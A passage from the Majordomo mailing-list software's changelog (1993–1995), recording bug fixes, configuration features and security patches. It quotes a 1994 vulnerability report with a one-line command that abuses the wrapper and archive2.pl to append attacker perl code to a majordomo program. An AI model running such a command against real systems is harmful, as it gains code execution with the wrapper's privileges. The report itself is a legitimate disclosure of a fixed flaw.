unsubscribe the user from the list, but not add them to bounces. + This is good for handling people who request to be unsubscribed, but can't + figure out how to do it themselves. I suggest linking bounces to unsub. + This is handier than it might sound :-) * sample.cf + Updated for global_taboo_headers. + Updated for &abort error codes. * FAQ ! latest version from rtfm.mit.edu * misc + From: "John C. Orthoefer" + A cgi-bin script that presents a simple + subscribe, unsubscribe, who, and info command via the web. + It's in the contrib/md-sub directory. + From: Lindsay Haisley + The following is a short program I cobbled together to adjust digest volume + and issue numbers in config files. The program should be run from the md + wrapper to provide an appropriate environment. I will be running it + indirectly out of a cron job on the first of every month so that my volume + and issue numbers on a daily-generated digest will reflect the month and + day-of-month. + From: shane@themacs.com (Shane P. McCarron) + Program for adding sequence numbers to subject lines. Tue Jan 10 18:33:22 1995 John P. Rouillard (rouilj@dstar.iddis.com) * Changelog: release of majordomo version 1.93 Sat Jan 7 17:35:18 1995 John P. Rouillard (rouilj@dstar.iddis.com) * FAQ: Added new faq that is updated for 1.93 release. * sample.cf: Added variables that control X.400 address analysis attempts. Turned off by default. * majordomo.pl: Added better do_exec_sendmail that doesn't append the nul arg to sendmail) which some sendmail lookalikes barf on). I also added the code that attempts to handle X.400 addresses in a safe way. By default it isn't enabled. There is a varible that has to be set before it becomes active. * resend, new-list: removed main'do_exec_sendmail since it is done in majordomo.pl now. * config_parse.pl: Fixed error message and fixed bug where I did an open_temp and shouldn't have since the file was due tio be clobbered, but the file was in $listdir anyway, so it shouldn't be a security problem. * wrapper.c, Makefile: Fixed define for using setgroups, and added appropriate parameter to makefile for posix build. Mon Jan 2 20:15:38 1995 John P. Rouillard (rouilj@dstar.iddis.com) Released majordomo 1.93beta1 for testing. Mon Jan 2 19:31:38 1995 John P. Rouillard (rouilj@dstar.iddis.com) * FAQ Got newest FAQ from majordomo@pop.psu.edu, and corrected mkdigest usage that was stripped by the html parser. * archive2.pl: Added attribution for code, and added algorithm and labeled points in the code for a writeup of my analysis. * config_parse.pl: Added open_temp calls to writable open files for the config and newconfig file opens. In retrospect, they probably aren't necessary since being able to write the $listdir is a fatal security hole anyway. * README: Documented nature of race condition, and the assumptions that were made concerning the solution to the race condition. * README, Makefile, Changelog: Added text for 1.93beta1 release of majordomo. * Makefile: Fixed distribution target. * Makefile: Install the test script by default. * resend: fixed another administrivia filter * Changelog: updated Mon Jan 2 00:20:12 1995 John P. Rouillard (rouilj@dstar.iddis.com) * README: Added description of fixed approve bug. * approve: fixed bug with warn being a list argument and taking the return as an arg in a , statement Sat Dec 31 23:00:29 1994 John P. Rouillard (rouilj@dstar.iddis.com) * shlock.pl: Added some debugging code for testing lock files, and cleaned error message. * archive2.pl: Compared device numbers as well as inode numbers for the files, and handle the case of a missing archive file properly by performing symbolic link and inode/device checks after the open has suceeded if the file didn't exist in the first place since the comparison is actually time invarient. * shlock.pl: Fixed the race condition in opening of the lock file. * majordomo.pl: Check device number for file as well as inode. Tue Dec 27 20:43:44 1994 John P. Rouillard (rouilj@dstar.iddis.com) * bounce: Globbing no longer needed. * README: documented fix of shell glob failure on which and lists commands. remumbered fixes. * bounce: replaced glob on ~ for perl5 comptibility * majordomo: fixed list/which failure when globbing to many lists * README: included additional info on wrapper changes Tue Dec 27 00:14:49 1994 John P. Rouillard (rouilj@dstar.iddis.com) * digest, majordomo.pl: Also have to check the filehandle to make sure that it doesn't have more than one link to it. * digest: Wrapper opens many temporary files, so I have (hopefully) implemented a more secure way of opening newly created files so that arbitary files owned by majordomo can't be overwriten/appended to. Mon Dec 26 23:58:55 1994 John P. Rouillard (rouilj@dstar.iddis.com) * archive2.pl: Paul Phillips provided some code to close the following hole. Date: Tue, 06 Dec 1994 01:48:46 PST From: Paul Phillips Subject: Serious security hole in archive2.pl I have found what I believe to be a very serious security hole in the archive2.pl script supplied with majordomo 1.92. Problem: Any user on the system can append to any file writable by the wrapper program. Explanation: The archive2.pl script takes as arguments an archive file (the -f option) and a file to be appended (-a). According to the docs, the recommended permissions for the wrapper are 775, world executable, which will allow a malicious user to execute % /usr/local/mail/majordomo-1.92/wrapper archive2.pl -f some-majordomo-program -a file-with-hacker-text-to-append This allows him to append perl code to majordomo (for example) to be later executed with wrapper permissions. * test: A file to test for uid/gid setting under the wrapper * Makefile: Set up for posix/solaris 2.x build at IDD. Also cleaned up some bogus non empty lines. * README: Added comments section at the top of the README describing the changes including the license file and the fixed from 1.92. * wrapper.c: Added a cast to shut up gcc, and added a setgroups call to clobber all group memberships from sendmail. This only works for POSIX where the euid is root. * sample.cf: added required @archive_dirs array. * resend: Changed copyright notice. Quoted @ signs. Replaced open() class with calls to open_temp that should reduce the chances of a bad person exploiting a race condition between the existance test and the open. I also changed dies to aborts so people are notified, also I labeled the different abort messages so that identical messages can be differentiated. I added better/smarter admiistrivia checks especially making a better help filter. Fixed the unlink glob failure bug that was introduced in the 1.92 release. * request-answer: Quoted @ signs for perl5. * medit: Changed copyright notice. * majordomo_version.pl: Version 1.93beta1. Here's hoping we don't run out of version numbers before 2.0 is released. * majordomo.pl: Added the function main'open_temp which is a function that will open temporary files trying to make certain that the opened file is a new file and not a file that is already in existance. The only side effect is that the file that is opened (by somebody attempting to fool the open function) may have its atime updated. * majordomo.cf: Added @archive_dir and converted for use at dstar.iddis.com. * majordomo: Changed the copyright notice, and quoted the @ sign for perl5. * config_parse.pl: Quoted @ signs and $ signs in strings or patterns for perl5. Also added the characters @ and ! as being valid for regular expressions for advertize and noadvertize. * bounce-remind: Quoted @ signs in strings for perl5. * approve: Removed ~/.majordomo glob which didn't work under perl5, and replaced it with $ENV{HOME}. I also turned mail into /usr/ucb/mail so the -s flag always (I hope) makes sense. * LICENSE: the license for majordomo use Thu June 6 15:50:23 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) * Updated files to report version 1.92 release * Added code to handle two types of Security problems caused by using putting from line. Sendmail is now invoked using -t flag when to address is derived from the From line. Sendmaiil is exec'ed after perl forks rather than opening directly with open, from lines with a - sign at the front of the address are bounced as hostile addresses. Mon May 9 17:16:52 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) * ALL released version 1.90 of majordomo * Makefile: added -f to rm so it always completes sucessfully for the distclean target. * README: Added comments about the list membership advertize feature that always lists any list you are subscribed to. * Makefile: added specific archive install targets, added distribution target, moved all install targets together * digest: Added code to smash list name tolowercase. Sun May 8 22:28:49 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) * README: Added comments about making sure that digest has its archive and incoming directories created * majordomo: Set up help function to use $majordomo_receive to properly tailor the help message. * sample.cf: documented that majordomo_receive is also used to determine the help text that is sent. * sample.aliases: Lowercased Sample list for -l flag to resend * README: Documented need for /etc/majordomo.cf so that medit will work. Documented that the value for the -l flag to resend should be all lower case. * resend: Added code to smash case of list name specified with -l option since $opt_l was passed off directly to config_parse.pl, and majordomo always smashed case on lists when creating them. * medit: Changed default majordomo.cf location to /etc/majordomo.cf * README: Fixed some typos and expanded on perl version information, and made some constructs parallel. Updated thanks list to include Jerry Peek. Sun May 8 02:32:59 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) * config_parse.pl: Fixed up a bit more debugging cruft to stdout. Now it check the debug flag before printing errors. * digest: Fixed bug in file limiting code. Sat May 7 22:09:17 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) * majordomo: Changed we're to we are to get around bug in emacs perl mode. Also changed all occurances of: if ( (!$list) || ! ($clean_list = &valid_list($listdir, $list))) { to if ( ((!$list) || ! ($clean_list = &valid_list($listdir, $list))) && defined($deflist)) { This makes error work properly when a request like: subscribe rouilj@cs.umb.edu is made to a majordomo running without the -l flag. Also any error in newinfo or in newconfig causes all text to be eaten up to the trailing EOF statement so that here text isn't accidnetly executed. * digest: Added code to only include files with the name [0-9]* in a digest. It warns if there are files that aren't supposed to be in the incomming directory. * config_parse.pl: made grab_absolute_file and grab_absolute_dir to be no ops. * README: Removed section on global indexing of majordomo * config_parse.pl: fixed formatting * majordomo.cf: Fixed comment formatting. * Makefile: Removed unused install target. Added explicit shell setting. Split install-scripts into install-scripts and install-cf. Install-cf installs ./majordomo.cf or ./sample.cf if majordomo.cf doesn't exist as the $W_BIN/majordomo.cf. Added dist-clean target for use by cvs to clean up stuff when checking out majordomo-dist. * sample.cf: updated to match current majordomo.cf * config_parse.pl: Added debug print supression to making defaults announcement. Fri May 6 22:04:19 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) * FAQ: Deleted old comment according to David Barr's request. * FAQ: Updated FAQ from Dave Barr. * README: Updated version statement in the README. It is now the readme for 1.90. Added tricks section. Updated FAQ notes. * README: Added comments about the 1.90 cognizant version of the majordomo chapter being done and becoming available via ftp in due time. * resend: Fixed bug that prevented addministrivia checks from functioning. Hey lets hear it for regression suites. If I'd let this one slip out again, I would never have heard the end of it. * README: Added info blurb about gloal indexing Fri May 6 18:23:48 1994 John P. Rouillard (rouilj@cs.umb.edu) * majordomo_version.pl: Upgraded version identfier from 1.90b2 to 1.90. I won't miss this again 8-). * majordomo.cf, majordomo: The -l flag enhancements weren't quite right. There was no variable that could be used to turn off the unsubscription information for using the -request address. The majordomo config file majordomo.cf now sports a majordomo_request variable that will enable the -request help messages. By default the variable's value is 0 which supresses the help message. * config_parse.pl: changed debug value to 0. Thu May 5 20:28:54 1994 John P. Rouillard (rouilj@cs.umb.edu) * Description: Changed all references to "I" into Brent Chapman, or Brent. Tue May 3 22:22:03 1994 John P. Rouillard (rouilj@cs.umb.edu) * resend, README: Added RCPT: filter to resend, and updated the bugs page that the rcpt shouldn't be an administrivia bounce, and the expressions that get filtered should be settable by the list admin. Mon May 2 22:02:57 1994 John P. Rouillard (rouilj@cs.umb.edu) * mod_addr.diff: Arnold de Leon's patches for specifying a seperate moderator for bounced email from resend. * README: Added Arnold de Leon's patches for specifying a seperate moderator for bounced email from resend. Added a bugs/todo/misfeatures section. * majordomo.man, majordomo.8: Mentioned list descriptions returned by the lists command. Mentioned using \ at the end of lines to continue a line. * README: Added comments about list-managers and that majordomo operation questions are not appropriate for that list. * new-list: Fixed assignment so it is a scalar assignment. * resend: Added code to eliminate help admistrivia Thu Apr 28 16:36:04 1994 John P. Rouillard (rouilj@cs.umb.edu) * README: Added error description for "unknown mailer error 5". Wed Apr 27 19:17:04 1994 John P. Rouillard (rouilj@cs.umb.edu) * majordomo: tail anchored the regexp. This should make it a bit faster to apply. * majordomo: Added test to make sure that shell expansion suceeded before doing unlink. Tue Apr 26 22:02:09 1994 John P. Rouillard (rouilj@cs.umb.edu) * README: Changed format of list names so that only lowercase letters are allowed. * README: Fixed fome paragraph formatting. added some aditonal comments about the stuff in config. added a new section about majordomo error messages. Fri Apr 22 19:20:14 1994 John P. Rouillard (rouilj@cs.umb.edu) * digest.diff: Adds functions to digest. * makeindex.pl: Made commentary change as Paul Close requested * logsummary.pl: Fixed syntax problem for 4.019 perl, and made the script ignore blank lines in its input. * makeindex.pl: Fixed syntax problem for 4.019 perl. * makeindex.pl, logsummary.pl: some neat program from Paul close inital checkin. * resend: Made Getopts failure message say that getopts failed but the error produced is still cryptic. It doesn't look like getopts returns a real error for a missing required argument.. Thu Apr 21 16:56:57 1994 John P. Rouillard (rouilj@cs.umb.edu) * README: Documentation changes to make thing clearer. * config_parse.pl: Changed description for subscription_policy. auto is now described after open to point out the differences a little better. Wed Apr 20 23:19:42 1994 John P. Rouillard (rouilj@cs.umb.edu) * digest: Fixed typo that affected the name of the archive dir. * majordomo.cf: Added comments stating that @safedirs is essentially a no op. * majordomo: Commented out setting of PATH in majordomo since the wraper does it already, and the wrapper is easily customizable in the makefile. * README: Changed location of text that discussed the -l option to majordomo. Added comment about moving archive2.pl from its install area in Tools to the top level majordomo directory if you want to use it. Sun Apr 17 20:07:00 1994 John P. Rouillard (rouilj@cs.umb.edu) * resend: Fixed a bug when moderated and restricted posting (-I) options are used together. I moved the code that bounces non-approved submissions to moderated lists after the code that checks to see if the persion is allowed to send email. Now if a message comes in to a -I/-A list, it will be checked to see if the person is on the approved posting list. If not, then the message will be bounced with "Non member submission". If the person is allowed to submit, but they didn't provide the approval password, the you get an "Approval Required" message. Thu Apr 14 06:49:10 1994 John P. Rouillard (rouilj@cs.umb.edu) * resend: Added code that checks to see that we have at least one outgoing address to send to. Fri Apr 8 22:13:46 1994 John P. Rouillard (rouilj@cs.umb.edu) * majordomo.ora, README: added O'reilly chapter on majordomo * Description: updated Description with new 1.90 commands for config file and digest Sun Apr 3 22:49:59 1994 John P. Rouillard (rouilj@cs.umb.edu) * FAQ: first FAQ installement * majordomo_version.pl: updated version info to 1.90b2 * Rereleased version 1.90b2 with updated internal version info. Sat Apr 2 22:36:32 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) * Release of 1.90 beta 2 Sat Apr 2 22:34:32 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) * sample.aliases: Added Paul Pomes aliases. * README: Said README was for 1.90 beta 2. Added questions from majordomo-users mailing list. Made note that FAQ is still under development. Added doc about other README's. Added Paul Pomes sample init code for message fronter and footers. * config_parse.pl: Added default value for message length at 40000. Mon Mar 14 18:40:25 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) * config_parse.pl, README: Fixed typos that Brent Chapman sent me with the README file. I fixed the corresponding spelling mistakes in the config_parse.pl file so that the mistakes aren't propigated into the config files. * resend, approve: Added patches from Brent Chapman for bug fixes to 1.62 that I had not integrated. (Brent) I pulled over 1.90b1 and integrated the changes I'd made to Majordomo since 1.62 that you hadn't already made. Basicly, there were 3 minor bug fixes: Fixed a minor bug in "approve": it was using the "mail" program in some places and the "Mail" program in others, but now consistently uses "mail". Fixed a minor bug in "resend" that was causing it to try and validate "Approved:" headers anywhere in the body of a message, instead of just in the first line of the body, if the "-M" argument was not set. Fixed handling of "-I" argument to "resend", so that it would squawk if a "-I" argument file couldn't be found, and so that $listdir is prepended to the arguments only if they aren't already absolute path names (i.e., only if they don't already begin with "/"). Here are diffs for "approve" and "resend". I have NOT tested these yet, but the patches were pretty simple so they'll probably be OK. * README: changed install directions to confiorm to makefile changes * Makefile: fixed filename references and reduced amount of root installion requirement * wrapper.sh: fixed varible refernce * majordomo.cf: Added code to use the HOME environment variable defined by the wrapper to set $homedir. Mon Mar 7 20:57:12 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) * README: ran though ispell * majordomo_version.pl: updated version string * sample.cf, majordomo.cf, README, Makefile: documentation updated to 1.90 Sun Mar 6 22:43:36 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) * resend, majordomo, config_parse.pl, Makefile: Obsoleted split_archive.pl in favor of brent's archive2.pl program. Makefile: modified to use contrib directory to copy archive2.pl from. Also digest/digest is copied into place in install-scripts. config_parse.pl: changed sender default value to be owner-listname from listname-Owner. readded archive_dir reply-to default changed to strip -digest from listname added digest specific keywords 'digest_volume' 'digest_issue' 'digest_work_dir' 'digest_name' 'digest_archive' 'digest_rm_footer' 'digest_rm_fronter' All comments have removed references to command line flags. to make this true, the command line flags will have to be removed, but that will be the case for new installations. subject_prefix commeent talks about duplicate supression. changed &mk_default_config to &writeconfig increased size of key in comments section fixed bug in '-' escape handling that resulted in incorrect reverse escaping. grab_absolute_dir now uses key in error messages. Empty directory no longer an error. majordomo: $main'main_program is set to mj_majordomo add some sanity checking for majordomo.cf file. added mkdigest command to drive digest creation fixed bug with mungdomain enabled that causes a match to occur for an address when subscribing, but not for unsubscribing. fixed format of some help messages to allow them to stay less than 80 characters per line. resend: set $main'main_program to mj_resend Mon Feb 21 18:27:35 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) * majordomo.cf, config_parse.pl: Made digest part of the config file code enhancements. * majordomo: removed #dashl comments since the -l code seems to work properly. also added $main'main_program variable. * resend: Added $main'main_program variable. Sun Feb 20 05:32:18 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) * majordomo: Merged in changes to support a -l argument to majordomo from R. Gary Cutbill rgary@x.org. If majordomo is run at the request address with the -l argument, then the list name is optional in majordomo commands. Fri Feb 18 04:58:42 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) * resend: Fixed bug that resulted in subject tag not being applied where it should have been because the regular expression that eliminates subject tag application if the tag already exists didn't have its non alphanumeric characters escaped resulting in misinterpreted regular expressions. Thu Feb 17 20:02:32 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) * wrapper.sh: added support for apollo DomainOs to the wrapper. Wed Feb 9 20:12:20 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) * resend: Added check so that the subject_prefix is put onto the front of the subject line if and only if it hasn't been found in the subject line already. This should prevent subject lines like: Subject: [list] Re: [list] foo bar baz This also enables preservation of Re: by mailers so that they don't add more stupid Re:'s at the beginning of the subject. Tue Feb 8 00:11:53 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) * Changelog: fixed line breaks * config_parse.pl: added to man page, and moved known_keys nearer to top of file Mon Feb 7 22:51:04 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) * RELEASE OF 1.62 CONFIG BETA 3 Mon Feb 7 20:37:32 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) * majordomo.pl, majordomo: Added code to allow "\ " to escape a space in the majordomo command line. Also added " " as a valid character in the filename. Sun Jan 30 04:31:00 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) * resend: Added & to sendmail command that calls the actual list distribution address. This should help to alleviate some of the memory thrashing that goes on with resend by colapsing the sendmail -> resend -> sendmail to the final sendmail since the first sensmail, and the resend will exit. Fri Jan 28 15:48:02 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) * majordomo: added code so that a list is displayed if the person is on it * majordomo: increased width of description to 56 * majordomo: decreased list output indentation to 2 spaces * majordomo: fixed width of description at 55 characters to prevent lines > 80 characters in list output * majordomo, config_parse.pl: Added code that changes the sender of the welcome message generated in response to a subscribe command to be the sender of the list that is subscribed to. This will do some nice things like alerting the list manager to bogus addresses on the list. It will also supress the annoying message that I get when I subscribe somebody to the bounces mailing list. I know that the address I put on bounces is undeliverable, why do you think I put it on bounces 8-). * majordomo: first cut at geting bounced welcome messages to go to the list owner rather than majordomo-owner Wed Jan 26 01:24:35 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) * Makefile: added deletion of *~ to clean target * resend: reformatted comment and reordered test for subject_prefix Tue Jan 25 20:58:12 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) * majordomo: logging for create list if successful added * majordomo: fixed lack of log for successful writeconfig * majordomo: Added do_digest and ccreate list code (using external programs) to majordomo Mon Jan 24 19:45:41 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) * majordomo.pl: added local(diff) to is_member per patch from brent chapman Sat Jan 22 21:15:52 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) * config_parse.pl: Fixed spelling typo and rewrote doc string for mungedomain. * resend, config_parse.pl: The subject_prefix keyword is now expanded the same as header, footer, fronter etc. Doc string has been changed to reflect this. * majordomo.pl: Changed the mechanism by which I got the name of the list. The local parameter $clean_list is now used rather than $mail'clean_list which doesn't exit. * majordomo.pl: Changed the order of the parameters to addr_match so that mungedomain comparison worked properly. It looks for arg2 to be a changed version of arg1. * config_parse.pl, majordomo.cf: Fixed default archive directory specification to include listname. I also made it properly pass configuration checks. * majordomo.pl, config_parse.pl: Added code that applies the mungdomain logic to all of the private_ options. I also changed the documentation to reflect that fact. * config_parse.pl: Changed top explanatory text for config file to make use of - sign correctly explained. Fixed code that eliminates \001's in regexp_arrays. Fixed code that interprets - sign escapes in string_arrays. Fri Jan 21 02:11:13 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) * config_parse.pl: Fixed a bug where expansion tokens in the explanatory test were being expanded out of existance. Added fix for an obscure bug dealing with directory specifcation and $list having a .new at the end. Made some commentary more explanatory, and fixed a few errors. Added code to allow - signs to have three functions in a here document: To embed a blank line in the here document, put a '-' as the first and ONLY character on the line. To preserve whitespace at the beginning of a line, put a - on the line before the whitespace to be preserved To put a literal '-' at the beginning of a line, double it. Fri Jan 7 09:01:01 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) * RELEASE OF 1.62 CONFIG BETA 2 Fri Jan 7 05:23:35 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) * majordomo: Added code that implements a simple line continuation character. Using \ as the last non whitespace character on the line causes the following line to be added to the current command string. One bug, when the command is printed out, it is all printed on one line, and not as the sender typed it. * resend, config_parse.pl: Added the ability to prepend a word to the subject line. Uses the config file parameter subject_prefix. This is useful for those reading mailing list mail using mailers that can sort messages by subject only. Fri Dec 10 11:51:04 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) * RELEASE OF 1.62 CONFIG BETA 1 Thu Dec 9 06:54:30 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) * regress.t04, regress.t03, regress.t02, regress.t01, regress.e04, regress.e03, regress.e02, regress.e01, regress.t05, regress, rcmp: the started regression suite * README.CONFIG: added coment about tailoring %known_values * config_parse.pl: cleaned up some documentaion, and cleaned the code a bit too. No functional chnages * README.CONFIG: first cut of readme file * resend: fixed tail recursion problem that stopped final line from being \n terminated in message_fronter * resend, majordomo, config_parse.pl: Removed getconfig_password. If they can getthe config file, then they can get the admin password. Not really smart. Added message_fronter option. This text is prepended to the message body. Added a man page describing the config_opts interface somewhat to config_opts.pl. Wed Dec 8 07:07:47 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) * config_parse.pl: enhanced docs for headers and footers * resend, config_parse.pl: Changed blank line equivalence character to be a '-' standing alone on the line. The inital . played havoc with sendmail, since sendmail exited once it saw the ., and I didn't want to play around with doubling the dot etc. Besides, that would have made updating the config file by editing the one received via mail impossible. I also have expansion operating correctly now. The substitution is being done in resend rather than in the config file code. Also, I removed an optimization that prevented scanning for ^from lines unless the -I option was used. Now that this optiminbzation is gone, $sender processing works fine. * Makefile: changes for development installation. * majordomo, config_parse.pl: Normalized all options names. _ is the seperator of choice. Added message_footer and message_headers keywords. This also required that I implement a blank line equivalence. A single period sitting alone on a line creates a blank line in the output. This single period is recreated by writeconfig. A hidden file is now equivelent to noadvertize = /.*/; Created the function substitute_values that replaces strings in text context. Added get_config code for do_approve and do_passwd. Parens were added to the unlink command to have it do the right thing. * majordomo.cf: changes for development path * majordomo_version.pl: version id 1.62Dev development * resend: Added code to allow header and footer generation. The headers and footers are ocuring in the message properly, but the range of textual substitutions that I wanted isn't the best. The config code is called and substitution is done before any of the headers from the message are parsed. Thus things like sender, subject etc are not available to me for substitution in the header and footer text. Solving this problem may require a rewrite of the logic of resend. I don't relish the thought. Alternatively, I could try to find a way to do delayed expansion of tokens. Actually this might work. I can expand the template at the time I actually use the template. Hmm, I'll think about it tonite. Thu Nov 25 07:09:16 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) * majordomo: The keyword subscribe_policy was being incorrectly checked for as subscribe-policy, thus all closes/auto functions were broken. I have changed the occurances of subscribe-policy to subscribe_policy to fix the problem. I also need to reconsile all of the keywords so they use either a - or an _. This mixed seperator stuff is for the birds. Wed Nov 24 00:00:32 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) * majordomo_version.pl, majordomo.cf, Makefile: Changes to allow a straight make in the /tools/majordomo-1.62_config directory. Makefile modified to set up following tree: (root is W_BIN below) root -+-- -- actual majordomo scripts, libraries etc +-- wrappers -- executable wrappers and wrapper shellscript +-- Tools -- tools like split archive and digest +-- bin -- user level tools, approve, bounce etc +-- man -- man pages This is the tree I will be working with. also added make permissions-shared to minimize anount of code that was to be run as root. Version changed to be 1.62C, and majordomo.cf changed to point to correct homedir. Tue Nov 23 23:51:40 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) * config_parse.pl: Changed mk_default_config to use END as the delimiter for array value specifications so that EOF doen't conflict with the use of EOF in newconfig. * bounce-remind: changed Bounces to bounces. Fri Nov 19 17:48:38 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) * majordomo: fixed date stamp on info file Thu Nov 18 23:53:35 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) * config_parse.pl: Changed mk_default_config so that it is now a two stage process using an intermediate file, rather than forking and postprocessing the input using the child process. When forking, I was having all sorts of problems with the parent's STDIN getting mixed into the child's STDIN producing garbage. Now an intermedaite file (listname.config.out) is used to hold the text. The text is then read in, and comment characters, and a header is added when necessary. This is output to listname.config, and the temporary file listname.config.out is removed. * Makefile: added existance tests for directories before creating them * config_parse.pl: Added support for array and enumerated types. Arrays are specified using the name << EOZ value1 value 2 EOZ syntax. Also enhanced the commentary code. Added debugging levels and options. Added hooks for allowing incremental specification of a config file. * Makefile: added install shared and a couple of other targets. * majordomo.cf: added safedirs for locations of archives * majordomo: Changed last of config_opt{} references to use ',' instaed of '.'. Added support for advertize/noadvertize being array's of regexps. Added file handle flushing for REPLY filehandle to try to get around an intermix problem. Added subscribe policy as a token rather than open, closed, or auto keys. Added writeconfig keyword and fucntion that writes the configuration file out as it is held in the config_opts array. Converted cf_bool (old style) to cf_ck_bool. * majordomo.pl: Fixed bug with multiple index concatenation in %config_opts{} with admin_passwd. Also added a patch from Brent that fixes a filehandle bug that sometimes truncated the mailing list. Thu Nov 11 21:13:48 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) * resend: updated to version 1.19 of resend Tue Nov 9 20:08:08 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) * resend: added administrivia check for subject 'request .* addition', also changed option parse code cf_check() to cf_check_bool(), and multiple indicies for $config_opts rather than concatenated string. Tue Nov 2 19:23:09 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) * approve: 1.62 merger Fri Sep 10 04:14:08 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) * regress.test, regress.out: moved regress tests to a subdirectory * majordomo.cf, majordomo: added code to put 40 characters of the request subject line into the reply subject line * majordomo: fix for bug that prevents which from working for private lists Thu Sep 9 23:08:05 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) * config_parse.pl: Fully table driven. With a parse table, known keyword/default value table, comment table, and subsystem table. A default value beginning with #! is eval'ed so that custom values can be created. There is a new function to create the default config file. The function could be called at any point since it will preserve the data values. However, it does totally rewrite the comments in the config file. The private keyword was causing headaches with its positional nature. It is no longer supported. The file .private is still available however. Also the password fields are no longer allowed to specify password files. Their values set the pass phrase or password. Also, the password in .passwd is always recognized. The new_keyword function takes 5 args: keyword, default value, parse function, subsystem [comments] The comments are optional. * majordomo: Added a select call to make the REPLY file handle flush immediately when lists are called. This prevents multiple headers when the fork call in mk_default_config occurs. Also changed x-private to private-x, and removed the private keyword. Also print reason for dying in eval of majordomo.cf. * majordomo.cf: added umask call to set proper protections on config file * resend: Changed code so that a null value for a config parameter is checked for rather than a defined value. Added a call to the approve code so that the approve, admin, and .passwd values are all accepted for article approval. * majordomo: added chdir to move back to after index command * majordomo.pl, majordomo, config_parse.pl: Basic fully table driven config file, with interface Sun Sep 5 07:54:06 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) * majordomo, config_parse.pl: performance enhancements, passwd detainting secured, and advertize/noadvertize operate against pure machine address now Fri Sep 3 19:52:25 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) * resend, majordomo, config_parse.pl, approve: patched approve to accept from stdin, fixed buglet with grab_word in config_parse.pl, and added date_info to default template * majordomo.pl, majordomo.cf, majordomo: removed in favor of config file, removed debugging comments * resend, regress.test, majordomo.pl, majordomo.cf, majordomo, Makefile: merge of config files and version 1.60 * resend, majordomo.pl, majordomo: merged localisms with 1.60 * resend, regress.test, majordomo.pl, majordomo.cf, majordomo, config_parse.pl, Makefile: implementation of configuration file, mungedomain, advertize/noadvertize * sample.cf, resend.README, resend, majordomo.pl, majordomo, approve, Changes, majordomo_version.pl: version 1.60 of majordomo: additonal helps for moderated lists, and fix for verion id bug * majordomo_version.pl: Initial revision * Manifest: version 1.60 of majordomo: additonal helps for moderated lists, and fix for verion id bug Wed Sep 1 20:37:49 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) * archive.pl: Contributed archive program * wrapper.sh, resend, request-answer, regress.test, new-list, medit, majordomo.pl, majordomo.cf, majordomo, bounce-remind, archive, Makefile: Added code that checked to make sure that majordomo.cf eval'led correctly. Also added code to date the new info file. Changes since release 1.62 ========================== New in version 1.90 are: The changes in majordomo are: All options to majordomo can be set remotely using a configuration file. This includes setting the subscribe policy to open, closed or auto, and stripping comments from addresses. The ability to hide a list when a "lists" command is issued. A 50 character description can be shown when using the "lists" command. The info file can be dated when it is installed. This is useful if the info file is being served using a method besides majordomo (e.g. finger, gopher, www). The operations get, index, info, which, who can each be made private individually. If they are private, access to the command is restricted to people on the list. Addresses of the form user@host.dom.ain can be made to compare equivalent to user@dom.ain. This works for subscribe, unsubscribe, and all private options. The sender name (in the envelope address) can be set remotely on a per list basis. Command lines can be continued by using a \ at the end of the line. Spaces can be preserved in command line arguments by preceding the space with a \. Thus files with spaces in their names can be retrieved. New commands to manipulate configuration files have been added: config retrieve a self-documenting configuration file for the list . The can be the password contained in the file .passwd or the admin_password in the configuration file. Think of it as the info command with a password. I cribbed enough code from info for it. newconfig EOF Validates and installs a new configuration file. The config file is expected to be a complete config file as returned by "config". Incremental changing of the config file is not yet supported. As soon as the config file is validated and installed its settings are available for use. This is useful to remember if you have multiple commands in your mail message since they will be subject to the settings of the new config file. If there is an error in the config file (incorrect value...), the config file will not be accepted and the error message identifying the problem line(s) will be returned to the sender. Buglet: only the error lines are returned to the sender not the entire config file. (does this remind you of "newinfo"; it should, I shamelessly stole the newinfo code to make it into newconfig). writeconfig Write a new config in standard form. All of the config file documentation is optional. Only the keywords and values are necessary. If a config file, stripped of all comments is installed using newconfig, that is what is returned by config. Writeconfig forces a rewrite of the config file with all comments and default values in place. It is useful to use after an upgrade of majordomo since it will add the new keywords for people to change. It also updates the documentation in the file if that has changed. A new command to generate a digest has been 